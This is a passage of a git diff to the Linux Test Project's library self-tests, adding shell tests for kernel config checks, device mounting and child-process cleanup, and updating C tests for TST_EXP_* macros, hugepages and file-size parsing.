 
 	tst_res TINFO "check built-in module detection"
 
-	[ -f "$f" ] || \
-		tst_brk TCONF "missing '$f'"
+	[ -f "$f" ] || tst_brk TCONF "missing '$f'"
 
 	test_drivers $(grep -E '_[^/]+\.ko' $f | head -3)
 }
 
+test4()
+{
+	local f="$MODULES_DIR/modules.builtin"
+
+	tst_res TINFO "check for x68_64 arch module detection"
+
+	[ -f "$f" ] || tst_brk TCONF "missing '$f'"
+	test_drivers $(grep -E '[^/]+[-_]x86[-_]64.*\.ko' $f | head -3)
+}
+
+. tst_test.sh
 tst_run
diff --git a/lib/newlib_tests/shell/tst_check_kconfig01.sh b/lib/newlib_tests/shell/tst_check_kconfig01.sh
new file mode 100755
index 0000000..c80b892
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_check_kconfig01.sh
@@ -0,0 +1,14 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+
+TST_TESTFUNC=do_test
+TST_NEEDS_KCONFIGS="CONFIG_EXT4"
+
+do_test()
+{
+	tst_res TFAIL "kernel .config doesn't have CONFIG_EXT4"
+}
+
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_check_kconfig02.sh b/lib/newlib_tests/shell/tst_check_kconfig02.sh
new file mode 100755
index 0000000..5bdb984
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_check_kconfig02.sh
@@ -0,0 +1,14 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+
+TST_TESTFUNC=do_test
+TST_NEEDS_KCONFIGS="CONFIG_EXT4_FS : CONFIG_XFS_FS"
+
+do_test()
+{
+	tst_res TFAIL "invalid kconfig delimter"
+}
+
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_check_kconfig03.sh b/lib/newlib_tests/shell/tst_check_kconfig03.sh
new file mode 100755
index 0000000..1dcc14a
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_check_kconfig03.sh
@@ -0,0 +1,15 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+
+TST_TESTFUNC=do_test
+TST_NEEDS_KCONFIGS="CONFIG_EXT4_FS : CONFIG_XFS_FS"
+TST_NEEDS_KCONFIGS_IFS=":"
+
+do_test()
+{
+	tst_res TPASS "valid kconfig delimter"
+}
+
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_check_kconfig04.sh b/lib/newlib_tests/shell/tst_check_kconfig04.sh
new file mode 100755
index 0000000..522b3a8
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_check_kconfig04.sh
@@ -0,0 +1,24 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+
+TST_TESTFUNC=do_test
+
+do_test()
+{
+	tst_check_kconfigs "CONFIG_EXT4_FS"
+	if [ $? -eq 0 ]; then
+		tst_res TPASS "kernel .config has CONFIG_EXT4_FS"
+	else
+		tst_res TFAIL "kernel .config doesn't have CONFIG_EXT4_FS"
+	fi
+
+	tst_check_kconfigs "CONFIG_EXT4"
+	if [ $? -eq 0 ]; then
+		tst_res TFAIL "kernel .config has CONFIG_EXT4"
+	else
+		tst_res TPASS "kernel .config doesn't have CONFIG_EXT4"
+	fi
+}
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_check_kconfig05.sh b/lib/newlib_tests/shell/tst_check_kconfig05.sh
new file mode 100755
index 0000000..045995c
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_check_kconfig05.sh
@@ -0,0 +1,16 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+
+TST_TESTFUNC=do_test
+
+do_test()
+{
+	tst_require_kconfigs "CONFIG_EXT4_FS"
+	tst_res TPASS "kernel .config has CONFIG_EXT4_FS"
+
+	tst_require_kconfigs "CONFIG_EXT4"
+	tst_res TFAIL "kernel .config has CONFIG_EXT4"
+}
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_format_device.sh b/lib/newlib_tests/shell/tst_format_device.sh
new file mode 100755
index 0000000..dbe4ea9
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_format_device.sh
@@ -0,0 +1,24 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
+
+TST_FORMAT_DEVICE=1
+TST_NEEDS_ROOT=1
+TST_TESTFUNC=test
+TST_CNT=2
+TST_DEV_FS_OPTS="-b 1024"
+TST_DEV_EXTRA_OPTS="5m"
+
+test1()
+{
+	tst_res TPASS "device formatted"
+}
+
+test2()
+{
+	tst_check_cmds df || return
+	EXPECT_PASS "df $TST_DEVICE | grep -q /dev"
+}
+
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_mount_device.sh b/lib/newlib_tests/shell/tst_mount_device.sh
new file mode 100755
index 0000000..70f80f8
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_mount_device.sh
@@ -0,0 +1,27 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
+
+TST_MOUNT_DEVICE=1
+TST_NEEDS_ROOT=1
+TST_FS_TYPE=ext4
+TST_TESTFUNC=test
+TST_CNT=3
+
+test1()
+{
+	EXPECT_PASS "cd $TST_MNTPOINT"
+}
+
+test2()
+{
+	EXPECT_PASS "grep '$TST_MNTPOINT $TST_FS_TYPE' /proc/mounts"
+}
+
+test3()
+{
+	tst_brk TCONF "quit early to test early tst_umount"
+}
+
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_mount_device_tmpfs.sh b/lib/newlib_tests/shell/tst_mount_device_tmpfs.sh
new file mode 100755
index 0000000..ed2ba8c
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_mount_device_tmpfs.sh
@@ -0,0 +1,16 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
+
+TST_MOUNT_DEVICE=1
+TST_NEEDS_ROOT=1
+TST_FS_TYPE=tmpfs
+TST_TESTFUNC=test
+
+test()
+{
+	EXPECT_PASS "cd $TST_MNTPOINT"
+}
+
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_skip_filesystems.sh b/lib/newlib_tests/shell/tst_skip_filesystems.sh
new file mode 100755
index 0000000..675d0ee
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_skip_filesystems.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
+
+TST_MOUNT_DEVICE=1
+TST_NEEDS_ROOT=1
+TST_FS_TYPE=ext4
+TST_TESTFUNC=test
+TST_SKIP_FILESYSTEMS="btrfs,exfat,ext2,ext3,fuse,ntfs,vfat,tmpfs,xfs"
+TST_CNT=3
+
+test1()
+{
+	EXPECT_PASS "cd $TST_MNTPOINT"
+}
+
+test2()
+{
+	EXPECT_PASS "grep '$TST_MNTPOINT $TST_FS_TYPE' /proc/mounts"
+}
+
+test3()
+{
+	local fs fs_skip
+
+	fs=$(grep "$TST_MNTPOINT $TST_FS_TYPE" /proc/mounts | cut -d ' ' -f3)
+	EXPECT_PASS "[ '$fs' = '$TST_FS_TYPE' ]"
+
+	for fs_skip in $TST_SKIP_FILESYSTEMS; do
+		EXPECT_FAIL "[ $fs = $fs_skip ]"
+	done
+}
+
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/test10.c b/lib/newlib_tests/test10.c
deleted file mode 100644
index df61908..0000000
--- a/lib/newlib_tests/test10.c
+++ /dev/null
@@ -1,22 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0-or-later
-/*
- * Copyright (c) 2016 Linux Test Project
- */
-
-/*
- * Test for watchdog timeout.
- */
-
-#include "tst_test.h"
-
-
-static void do_test(void)
-{
-	sleep(2);
-	tst_res(TPASS, "Not reached");
-}
-
-static struct tst_test test = {
-	.test_all = do_test,
-	.timeout = 1,
-};
diff --git a/lib/newlib_tests/test12.c b/lib/newlib_tests/test12.c
deleted file mode 100644
index b4f0d63..0000000
--- a/lib/newlib_tests/test12.c
+++ /dev/null
@@ -1,21 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0-or-later
-/*
- * Copyright (c) 2016 Linux Test Project
- */
-
-/*
- * Test for timeout override.
- */
-
-#include "tst_test.h"
-
-static void do_test(void)
-{
-	sleep(1);
-	tst_res(TPASS, "Passed!");
-}
-
-static struct tst_test test = {
-	.timeout = 2,
-	.test_all = do_test,
-};
diff --git a/lib/newlib_tests/test13.c b/lib/newlib_tests/test13.c
index c447dc3..83c48f7 100644
--- a/lib/newlib_tests/test13.c
+++ b/lib/newlib_tests/test13.c
@@ -20,7 +20,6 @@
 }
 
 static struct tst_test test = {
-	.timeout = 1,
 	.forks_child = 1,
 	.test_all = do_test,
 };
diff --git a/lib/newlib_tests/test18.c b/lib/newlib_tests/test18.c
deleted file mode 100644
index 026435d..0000000
--- a/lib/newlib_tests/test18.c
+++ /dev/null
@@ -1,22 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0-or-later
-/*
- * Copyright (c) 2018, Linux Test Project
- */
-
-#include <stdlib.h>
-#include <unistd.h>
-#include "tst_test.h"
-
-static void run(void)
-{
-	do {
-		sleep(1);
-	} while (tst_timeout_remaining() >= 4);
-
-	tst_res(TPASS, "Timeout remaining: %d", tst_timeout_remaining());
-}
-
-static struct tst_test test = {
-	.test_all = run,
-	.timeout = 5
-};
diff --git a/lib/newlib_tests/test19.c b/lib/newlib_tests/test19.c
index 78b5202..2ba66d7 100644
--- a/lib/newlib_tests/test19.c
+++ b/lib/newlib_tests/test19.c
@@ -8,13 +8,6 @@
 #include "tst_test.h"
 #include "tst_sys_conf.h"
 
-static const char * const save_restore[] = {
-	"?/proc/nonexistent",
-	"!/proc/sys/kernel/numa_balancing",
-	"/proc/sys/kernel/core_pattern",
-	NULL,
-};
-
 static void setup(void)
 {
 	SAFE_FILE_PRINTF("/proc/sys/kernel/core_pattern", "changed");
@@ -30,5 +23,10 @@
 	.needs_root = 1,
 	.test_all = run,
 	.setup = setup,
-	.save_restore = save_restore,
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/nonexistent", NULL},
+		{"!/proc/sys/kernel/numa_balancing", NULL},
+		{"/proc/sys/kernel/core_pattern", NULL},
+		{}
+	},
 };
diff --git a/lib/newlib_tests/test20.c b/lib/newlib_tests/test20.c
index 53317b6..3982ab7 100644
--- a/lib/newlib_tests/test20.c
+++ b/lib/newlib_tests/test20.c
@@ -4,18 +4,13 @@
  */
 
 /*
- * Tests .request_hugepages + .save_restore
+ * Tests .hugepages + .save_restore
  */
 
 #include "tst_test.h"
 #include "tst_hugepage.h"
 #include "tst_sys_conf.h"
 
-static const char * const save_restore[] = {
-	"!/proc/sys/kernel/numa_balancing",
-	NULL,
-};
-
 static void do_test(void) {
 
 	unsigned long val, hpages;
@@ -23,23 +18,28 @@
 	tst_res(TINFO, "tst_hugepages = %lu", tst_hugepages);
 	SAFE_FILE_PRINTF("/proc/sys/kernel/numa_balancing", "1");
 
-	hpages = test.request_hugepages;
+	hpages = test.hugepages.number;
 	SAFE_FILE_SCANF(PATH_NR_HPAGES, "%lu", &val);
 	if (val != hpages)
 		tst_brk(TBROK, "nr_hugepages = %lu, but expect %lu", val, hpages);
 	else
-		tst_res(TPASS, "test .needs_hugepges");
+		tst_res(TPASS, "test .hugepges");
 
-	hpages = tst_request_hugepages(3);
+	struct tst_hugepage hp = { 1000000000000, TST_REQUEST };
+	hpages = tst_reserve_hugepages(&hp);
+
 	SAFE_FILE_SCANF(PATH_NR_HPAGES, "%lu", &val);
 	if (val != hpages)
 		tst_brk(TBROK, "nr_hugepages = %lu, but expect %lu", val, hpages);
 	else
-		tst_res(TPASS, "tst_request_hugepages");
+		tst_res(TPASS, "tst_reserve_hugepages");
 }
 
 static struct tst_test test = {
 	.test_all = do_test,
-	.request_hugepages = 2,
-	.save_restore = save_restore,
+	.hugepages = {2, TST_NEEDS},
+	.save_restore = (const struct tst_path_val[]) {
+		{"!/proc/sys/kernel/numa_balancing", "0"},
+		{}
+	},
 };
diff --git a/lib/newlib_tests/test_children_cleanup.c b/lib/newlib_tests/test_children_cleanup.c
new file mode 100644
index 0000000..4a1313f
--- /dev/null
+++ b/lib/newlib_tests/test_children_cleanup.c
@@ -0,0 +1,42 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 SUSE LLC <mdoucha@suse.cz>
+ */
+
+/*\
+ * Test whether the LTP library properly reaps any children left over when
+ * the main test process dies. Run using test_children_cleanup.sh.
+ */
+
+#include <unistd.h>
+#include <signal.h>
+
+#include "tst_test.h"
+
+static void run(void)
+{
+	pid_t child_pid, main_pid = getpid();
+
+	tst_res(TINFO, "Main process %d starting", main_pid);
+
+	/* Check that normal child reaping does not disrupt the test */
+	if (!SAFE_FORK())
+		return;
+
+	SAFE_WAIT(NULL);
+	child_pid = SAFE_FORK();
+
+	/* Start child that will outlive the main test process */
+	if (!child_pid) {
+		sleep(30);
+		return;
+	}
+
+	tst_res(TINFO, "Forked child %d", child_pid);
+	kill(main_pid, SIGKILL);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+};
diff --git a/lib/newlib_tests/test_children_cleanup.sh b/lib/newlib_tests/test_children_cleanup.sh
new file mode 100755
index 0000000..5f090f8
--- /dev/null
+++ b/lib/newlib_tests/test_children_cleanup.sh
@@ -0,0 +1,30 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 SUSE LLC <mdoucha@suse.cz>
+
+TMPFILE="/tmp/ltp_children_cleanup_$$.log"
+./test_children_cleanup 1>$TMPFILE 2>&1
+CHILD_PID=`sed -n 's/^.*Forked child \([0-9]*\)$/\1/p' "$TMPFILE"`
+rm "$TMPFILE"
+
+if [ "x$CHILD_PID" = "x" ]; then
+	echo "TFAIL: Child process was not created"
+	exit 1
+fi
+
+# The child process can stay alive for a short while even after receiving
+# SIGKILL, especially if the system is under heavy load. Wait up to 5 seconds
+# for it to fully exit.
+for i in `seq 6`; do
+	CHILD_STATE=`sed -ne 's/^State:\s*\([A-Z]\).*$/\1/p' "/proc/$CHILD_PID/status" 2>/dev/null`
+
+	if [ ! -e "/proc/$CHILD_PID" ] || [ "$CHILD_STATE" = "Z" ]; then
+		echo "TPASS: Child process was cleaned up"
+		exit 0
+	fi
+
+	sleep 1
+done
+
+echo "TFAIL: Child process was left behind"
+exit 1
diff --git a/lib/newlib_tests/test_guarded_buf.c b/lib/newlib_tests/test_guarded_buf.c
index c0deb84..b6035fd 100644
--- a/lib/newlib_tests/test_guarded_buf.c
+++ b/lib/newlib_tests/test_guarded_buf.c
@@ -67,7 +67,7 @@
 
 	if (n < 3) {
 		if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
-			tst_res(TPASS, "Exitted normally");
+			tst_res(TPASS, "exited normally");
 			return;
 		}
 	} else {
diff --git a/lib/newlib_tests/test_kconfig.c b/lib/newlib_tests/test_kconfig.c
index 9280f07..cea36b5 100644
--- a/lib/newlib_tests/test_kconfig.c
+++ b/lib/newlib_tests/test_kconfig.c
@@ -1,3 +1,4 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  */
diff --git a/lib/newlib_tests/test_macros01.c b/lib/newlib_tests/test_macros01.c
index 9a920f8..c04c943 100644
--- a/lib/newlib_tests/test_macros01.c
+++ b/lib/newlib_tests/test_macros01.c
@@ -4,7 +4,7 @@
  */
 
 /*
- * Test macros.
+ * Test TST_EXP_FD and TST_EXP_FD_SILENT macro.
  */
 
 #include "tst_test.h"
@@ -25,14 +25,32 @@
 	return -42;
 }
 
+static int zero_val(void)
+{
+	return 0;
+}
+
 static void do_test(void)
 {
-	TST_EXP_FD(fail_fd(), "TEST DESCRIPTION");
+	tst_res(TINFO, "Testing TST_EXP_FD macro");
+	TST_EXP_FD(fail_fd(), "fail_fd()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
-	TST_EXP_FD(pass_fd(), "%s", "TEST DESCRIPTION PARAM");
+	TST_EXP_FD(pass_fd(), "pass_fd()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
-	TST_EXP_FD(inval_val());
+	TST_EXP_FD(inval_val(), "inval_val()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_FD(zero_val(), "zero_val()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+
+	tst_res(TINFO, "Testing TST_EXP_FD_SILENT macro");
+	TST_EXP_FD_SILENT(fail_fd(), "fail_fd()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_FD_SILENT(pass_fd(), "%s", "pass_fd()");
+	tst_res(TINFO, "TST_PASS = %i from TST_EXP_FD_SILENT(pass_fd, ...)", TST_PASS);
+	TST_EXP_FD_SILENT(inval_val(), "inval_val()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_FD_SILENT(zero_val(), "zero_val()");
+	tst_res(TINFO, "TST_PASS = %i from TST_EXP_FD_SILENT(zero_val, ...)", TST_PASS);
 }
 
 static struct tst_test test = {
diff --git a/lib/newlib_tests/test_macros02.c b/lib/newlib_tests/test_macros02.c
index f0a692a..647f736 100644
--- a/lib/newlib_tests/test_macros02.c
+++ b/lib/newlib_tests/test_macros02.c
@@ -4,7 +4,7 @@
  */
 
 /*
- * Test macros.
+ * Test TST_EXP_FAIL and TST_EXP_FAIL2 macro.
  */
 
 #include "tst_test.h"
@@ -27,13 +27,24 @@
 
 static void do_test(void)
 {
-	TST_EXP_FAIL(fail_fn(), EINVAL);
+	tst_res(TINFO, "Testing TST_EXP_FAIL macro");
+	TST_EXP_FAIL(fail_fn(), EINVAL, "fail_fn()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
-	TST_EXP_FAIL(fail_fn(), ENOTTY);
+	TST_EXP_FAIL(fail_fn(), ENOTTY, "fail_fn()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
-	TST_EXP_FAIL(pass_fn(), ENOTTY);
+	TST_EXP_FAIL(pass_fn(), ENOTTY, "pass_fn()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
-	TST_EXP_FAIL(inval_ret_fn(), ENOTTY, "TEST DESCRIPTION");
+	TST_EXP_FAIL(inval_ret_fn(), ENOTTY, "inval_ret_fn()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+
+	tst_res(TINFO, "Testing TST_EXP_FAIL2 macro");
+	TST_EXP_FAIL2(fail_fn(), EINVAL, "fail_fn()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_FAIL2(fail_fn(), ENOTTY, "fail_fn()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_FAIL2(pass_fn(), ENOTTY, "pass_fn");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_FAIL2(inval_ret_fn(), ENOTTY, "inval_ret_fn()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
 }
 
diff --git a/lib/newlib_tests/test_macros03.c b/lib/newlib_tests/test_macros03.c
index 4143709..19a0ad6 100644
--- a/lib/newlib_tests/test_macros03.c
+++ b/lib/newlib_tests/test_macros03.c
@@ -4,7 +4,7 @@
  */
 
 /*
- * Test macros.
+ * Test TST_EXP_PASS and TST_EXP_PASS_SILENT macro.
  */
 
 #include "tst_test.h"
@@ -27,11 +27,20 @@
 
 static void do_test(void)
 {
-	TST_EXP_PASS(fail_fn());
+	tst_res(TINFO, "Testing TST_EXP_PASS macro");
+	TST_EXP_PASS(fail_fn(), "fail_fn()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
-	TST_EXP_PASS(pass_fn(), "TEST DESCRIPTION");
+	TST_EXP_PASS(pass_fn(), "pass_fn()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
-	TST_EXP_PASS(inval_ret_fn());
+	TST_EXP_PASS(inval_ret_fn(), "inval_ret_fn()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+
+	tst_res(TINFO, "Testing TST_EXP_PASS_SILENT macro");
+	TST_EXP_PASS_SILENT(fail_fn(), "fail_fn()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_PASS_SILENT(pass_fn(), "pass_fn()");
+	tst_res(TINFO, "TST_PASS = %i from TST_EXP_PASS_SILENT(pass_fn, ...)", TST_PASS);
+	TST_EXP_PASS_SILENT(inval_ret_fn(), "inval_ret_fn()");
 	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
 }
 
diff --git a/lib/newlib_tests/test_macros04.c b/lib/newlib_tests/test_macros04.c
new file mode 100644
index 0000000..e011180
--- /dev/null
+++ b/lib/newlib_tests/test_macros04.c
@@ -0,0 +1,58 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*
+ * Test TST_EXP_PID and TST_EXP_PID_SILENT macro.
+ */
+
+#include "tst_test.h"
+
+static int fail_pid(void)
+{
+	errno = EINVAL;
+	return -1;
+}
+
+static int pass_pid(void)
+{
+	return 42;
+}
+
+static int inval_val(void)
+{
+	return -42;
+}
+
+static int zero_val(void)
+{
+	return 0;
+}
+
+static void do_test(void)
+{
+	tst_res(TINFO, "Testing TST_EXP_PID macro");
+	TST_EXP_PID(fail_pid(), "fail_pid()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_PID(pass_pid(), "pass_pid()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_PID(inval_val(), "inval_val()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_PID(zero_val(), "zero_val()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+
+	tst_res(TINFO, "Testing TST_EXP_PID_SILENT macro");
+	TST_EXP_PID_SILENT(fail_pid(), "fail_pid()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_PID_SILENT(pass_pid(), "%s", "pass_pid()");
+	tst_res(TINFO, "TST_PASS = %i from TST_EXP_PID_SILENT(pass_pid, ...)", TST_PASS);
+	TST_EXP_PID_SILENT(inval_val(), "inval_val()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_PID_SILENT(zero_val(), "zero_val()");
+	tst_res(TINFO, "TST_PASS = %i from TST_EXP_PID_SILENT(zero_val, ...)", TST_PASS);
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+};
diff --git a/lib/newlib_tests/test_macros05.c b/lib/newlib_tests/test_macros05.c
new file mode 100644
index 0000000..fda1410
--- /dev/null
+++ b/lib/newlib_tests/test_macros05.c
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Cyril Hrubis <chrubis@suse.cz>
+ */
+
+/*
+ * Tests various corner conditions:
+ *
+ * - default message, i.e. first argument stringification
+ * - macro indirection, i.e. we have to stringify early
+ *
+ * The output should include the MACRO_FAIL() as the either fail of pass
+ * message. If it's missing or if it has been replaced by the function name
+ * there is a bug in the TST_EXP_*() macro.
+ */
+
+#include "tst_test.h"
+
+static int fail_fn_should_not_be_seen_in_output(void)
+{
+	errno = EINVAL;
+	return -1;
+}
+
+#define MACRO_FAIL() fail_fn_should_not_be_seen_in_output()
+
+static void do_test(void)
+{
+	TST_EXP_VAL(MACRO_FAIL(), -2);
+	TST_EXP_VAL_SILENT(MACRO_FAIL(), -2);
+
+	TST_EXP_FAIL(MACRO_FAIL(), EINVAL);
+	TST_EXP_FAIL2(MACRO_FAIL(), EINVAL);
+
+	TST_EXP_PASS(MACRO_FAIL());
+	TST_EXP_PASS_SILENT(MACRO_FAIL());
+
+	TST_EXP_PID(MACRO_FAIL());
+	TST_EXP_PID_SILENT(MACRO_FAIL());
+
+	TST_EXP_FD(MACRO_FAIL());
+	TST_EXP_FD_SILENT(MACRO_FAIL());
+
+	TST_EXP_POSITIVE(MACRO_FAIL());
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+};
diff --git a/lib/newlib_tests/test_macros06.c b/lib/newlib_tests/test_macros06.c
new file mode 100644
index 0000000..4d300d7
--- /dev/null
+++ b/lib/newlib_tests/test_macros06.c
@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 zhanglianjie <zhanglianjie@uniontech.com>
+ */
+
+/*
+ * Test TST_EXP_VAL and TST_EXP_VAL_SILENT macro.
+ */
+
+#include "tst_test.h"
+
+static int fail_val(void)
+{
+	errno = EINVAL;
+	return 42;
+}
+
+static int pass_val(void)
+{
+	return 42;
+}
+
+static void do_test(void)
+{
+	tst_res(TINFO, "Testing TST_EXP_VAL macro");
+	TST_EXP_VAL(fail_val(), 40, "fail_val()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+	TST_EXP_VAL(pass_val(), 42, "pass_val()");
+	tst_res(TINFO, "TST_PASS = %i", TST_PASS);
+
+	tst_res(TINFO, "Testing TST_EXP_VAL_SILENT macro");
+	TST_EXP_VAL_SILENT(fail_val(), 40, "fail_val()");
+	tst_res(TINFO, "TST_PASS = %i from TST_EXP_VAL_SILENT(fail_val, ...)", TST_PASS);
+	TST_EXP_VAL_SILENT(pass_val(), 42, "pass_val()");
+	tst_res(TINFO, "TST_PASS = %i from TST_EXP_VAL_SILENT(pass_val, ...)", TST_PASS);
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+};
diff --git a/lib/newlib_tests/test_parse_filesize.c b/lib/newlib_tests/test_parse_filesize.c
new file mode 100644
index 0000000..d60d7dc
--- /dev/null
+++ b/lib/newlib_tests/test_parse_filesize.c
@@ -0,0 +1,122 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*
+ * Tests for tst_parse_filesize.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+    long long val = 0;
+    int ret = 0;
+
+    if ((ret = tst_parse_filesize("1", &val, LLONG_MIN, LLONG_MAX))) {
+        tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        if (val == 1LL)
+            tst_res(TPASS, "value is %lli", val);
+        else
+            tst_res(TFAIL, "%lli != %lli", val, 1LL);
+    }
+
+    /* small letters */
+    if ((ret = tst_parse_filesize("1k", &val, LLONG_MIN, LLONG_MAX))) {
+        tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        if (val == 1024LL)
+            tst_res(TPASS, "value is %lli", val);
+        else
+            tst_res(TFAIL, "%lli != %lli", val, 1024LL);
+    }
+
+    if ((ret = tst_parse_filesize("1m", &val, LLONG_MIN, LLONG_MAX))) {
+        tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        if (val == 1048576LL)
+            tst_res(TPASS, "value is %lli", val);
+        else
+            tst_res(TFAIL, "%lli != %lli", val, 1048576LL);
+    }
+
+    if ((ret = tst_parse_filesize("1g", &val, LLONG_MIN, LLONG_MAX))) {
+        tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        if (val == 1073741824LL)
+            tst_res(TPASS, "value is %lli", val);
+        else
+            tst_res(TFAIL, "%lli != %lli", val, 1073741824LL);
+    }
+
+    /* big letters */
+    if ((ret = tst_parse_filesize("1K", &val, LLONG_MIN, LLONG_MAX))) {
+        tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        if (val == 1024LL)
+            tst_res(TPASS, "value is %lli", val);
+        else
+            tst_res(TFAIL, "%lli != %lli", val, 1024LL);
+    }
+
+    if ((ret = tst_parse_filesize("1M", &val, LLONG_MIN, LLONG_MAX))) {
+        tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        if (val == 1048576LL)
+            tst_res(TPASS, "value is %lli", val);
+        else
+            tst_res(TFAIL, "%lli != %lli", val, 1048576LL);
+    }
+
+    if ((ret = tst_parse_filesize("1G", &val, LLONG_MIN, LLONG_MAX))) {
+        tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        if (val == 1073741824LL)
+            tst_res(TPASS, "value is %lli", val);
+        else
+            tst_res(TFAIL, "%lli != %lli", val, 1073741824LL);
+    }
+
+    /* test errors */
+    if ((ret = tst_parse_filesize("k", &val, LLONG_MIN, LLONG_MAX))) {
+        if (ret == EINVAL)
+            tst_res(TPASS, "return code %d (%s)", ret, tst_strerrno(ret));
+        else
+            tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        tst_res(TFAIL, "tst_parse_filesize should have failed");
+    }
+
+    if ((ret = tst_parse_filesize("100", &val, LLONG_MIN, 10))) {
+        if (ret == ERANGE)
+            tst_res(TPASS, "return code %d (%s)", ret, tst_strerrno(ret));
+        else
